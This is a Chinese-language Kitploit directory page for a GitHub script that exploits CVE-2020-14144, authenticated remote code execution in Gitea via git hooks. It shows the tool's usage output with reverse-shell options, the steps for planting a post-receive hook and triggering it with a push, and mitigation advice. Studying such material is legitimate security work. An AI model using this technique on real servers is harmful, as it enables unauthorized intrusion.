Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-14144-GiTea-git-hooks-rce — 一个用于利用 CVE-2020-14144 的脚本 - 通过 git hooks 实现 GiTea 认证远程代码执行 | Kitploit
工具/GitHubGitHub/p0dalirius/cve-2020-14144-gitea-git-hooks-rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubp0dalirius/cve-2020-14144-gitea-git-hooks-rce

CVE-2020-14144-GiTea-git-hooks-rce

一个用于利用 CVE-2020-14144 的脚本 - 通过 git hooks 实现 GiTea 认证远程代码执行

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库网站
3275个月前Kitploit 审核通过

CVE-2020-14144 - GiTea 认证远程代码执行(RCE)

一个利用 CVE-2020-14144(GiTea 认证远程代码执行)的脚本,通过 Git 钩子实现攻击
GitHub release (latest by date) YouTube Channel Subscribers

功能特性

  • 从 IP 和端口自动生成反向 Shell 载荷
  • 使用 -f 选项上传自定义 Shell 脚本并在远程执行
  • 使用用户名和密码自动登录

用法

root@kitploit:~
$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
    _____ _ _______
   / ____(_)__   __|             CVE-2020-14144
  | |  __ _   | | ___  __ _
  | | |_ | |  | |/ _ \/ _` |     Authenticated Remote Code Execution
  | |__| | |  | |  __/ (_| |
   \_____|_|  |_|\___|\__,_|     GiTea versions >= 1.1.0 to <= 1.12.5
     
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]

CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Increase verbosity.
  -t TARGET, --target TARGET
                        Target host (http://..., https://... or domain name)
  -u USERNAME, --username USERNAME
                        GiTea username
  -p PASSWORD, --password PASSWORD
                        GiTea password
  -I REV_IP, --rev-ip REV_IP
                        Reverse shell listener IP
  -P REV_PORT, --rev-port REV_PORT
                        Reverse shell listener port
  -f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
                        Path to shell script payload to use.

演示

为了成功利用此漏洞/功能,目标服务器的 GiTea 版本应介于 1.1.0 和 1.13 之间,并且你需要一个启用了“可创建 Git 钩子”权限的有效账户(用户名、密码)。

启用了“可创建 Git 钩子”权限的账户

从系统管理员的角度来看,利用前的 gitea 进程如下所示:

利用前的服务状态

首先,我们需要使用自己的账户在 GiTea Web 界面上创建一个仓库。创建仓库后,进入 Settings -> Git Hooks -> Post Receive Hook。你可以在此钩子中编写一个在收到新提交后执行的 Shell 脚本。

Post Receive Hook

现在,我们将在攻击机上创建一个临时目录,并推送到远程仓库。这将触发 Post Receive Hook 脚本。

root@kitploit:~
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master

当我们把提交推送到远程仓库后,它将触发 Post Receive Hook 脚本,从而获得一个反向 Shell!

反向 Shell

利用完成后,系统管理员可以轻松地在 GiTea 的子进程中看到我们分离出来的反向 Shell:

利用后的服务状态

缓解措施

建议至少更新到 1.13.0 版本。

其他参考资料

  • https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/
  • https://nvd.nist.gov/vuln/detail/CVE-2020-14144
  • https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
  • https://docs.gitlab.com/ee/administration/server_hooks.html
  • https://github.com/go-gitea/gitea
  • https://github.com/go-gitea/gitea/pull/13058

贡献

欢迎提交 Pull Request。如果你想添加其他功能,请随时打开 Issue。

下载工具